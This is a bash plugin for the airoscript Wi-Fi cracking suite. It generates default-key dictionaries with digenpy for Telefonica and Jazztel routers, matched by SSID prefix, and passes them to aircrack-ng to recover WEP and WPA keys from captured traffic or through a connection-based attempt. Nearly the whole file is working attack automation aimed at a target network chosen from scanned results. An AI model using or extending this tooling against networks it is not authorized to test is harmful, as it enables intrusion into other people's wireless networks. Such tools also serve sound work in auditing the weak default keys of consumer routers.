# Dict generators for airoscript
#DEPENDS: digenpy
# Copyright (C) 2009-2011 David Francos Cuartero
#        This program is free software; you can redistribute it and/or
#        modify it under the terms of the GNU General Public License
#        as published by the Free Software Foundation; either version 2
#        of the License, or (at your option) any later version.

#        This program is distributed in the hope that it will be useful,
#        but WITHOUT ANY WARRANTY; without even the implied warranty of
#        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#        GNU General Public License for more details.

#        You should have received a copy of the GNU General Public License
#        along with this program; if not, write to the Free Software
#        Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.


p_menu+=("Crack with dictionary generator");


digenpy_(){
    [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && { enc="WPA"; } || { enc="WEP"; }
    [[ "$3" == "crack" ]] && {
        execute "Cracking" crack $AIRCRACK -0 -l $DUMP_PATH/$Host_MAC.key -w $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC-01.cap
    } || {
        [[ $3 == "conn_crack" ]] && {
            conn_crack && cp $DUMP_PATH/digenpy__dic $DUMP_PATH/$Host_MAC.key || return 1
        } || {
            AUTO=1; QUIET=0;
            digenpy $1 $2 $Host_MAC $Host_SSID $enc > $DUMP_PATH/digenpy__dic;
            markwarn "Dictionary automatically generated present in $DUMP_PATH/digenpy__dic"
            AUTO=0; QUIET="";
        }
    }
}

Telefonica(){
    if [[ "$Host_SSID" =~ WLAN* ]]; then
        avail=1;
        [[ $test == 1 ]] && return
        digenpy_ Spanish Telefonica
        digenpy_ Spanish Telefonica crack && cracked=1
    fi
}

Jazztel(){
    if [[ "$Host_SSID" =~ JAZZTEL* ]]; then
        avail=1;
        [[ $test == 1 ]] && return
        [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && {  min_ivs=10; return; }
        warn $"Encription is" "$Host_ENC"
        digenpy_ Spanish Jazztel
        digenpy_ Spanish Jazztel crack  && cracked=1
    fi;
}

TelefonicaWPA(){
    if [[ "$Host_SSID" =~ WLAN* ]]; then
        avail=1;
        [[ $test == 1 ]] && return
        digenpy_ Spanish TelefonicaWPA
        digenpy_ Spanish TelefonicaWPA conn_crack && cracked=1
    fi
}

JazztelWPA(){
    if [[ "$Host_SSID" =~ JAZZTEL* ]]; then
        avail=1;
        [[ $test == 1 ]] && return
        [[ "$Host_ENC" =~ (.*)WPA(.*) ]] && {  min_ivs=10; return; }
        warn $"Encription is" "$Host_ENC"
        digenpy_ Spanish JazztelWPA
        digenpy_ Spanish JazztelWPA conn_crack  && cracked=1
    fi;
}

Crack_with_dictionary_generator(){
    if [ "$Host_SSID" == "" ]; then $clear; echo -e $"Error: You must select a target first"; return; fi

    [[ "${1}" == "get_wpa" ]] && {
        for function in "TelefonicaWPA" "JazztelWPA" ; do
            $function;
        test=0;  done
        return
    }

    if [ "$1" == "return_ivs" ]; then
        for function in "Telefonica" "Jazztel" ; do test=1; $function; test=0; [[ "$avail" == "1" ]] && return 4; done
        return 255
    else
        for function in "Telefonica" "Jazztel"; do
            tag
            [[ $QUIET_DIGENPY == 1 ]] ||  warn "${mark}Trying $function"
            $function
            [[ "$cracked" == "1" ]] && return
        done

        if [ "$1" == "autocrack" ]; then
            export wait_for_execute=1; AUTO=1; selectcracking 1; AUTO=0; export wait_for_execute=0;
        else
            selectcracking
        fi

    fi
}
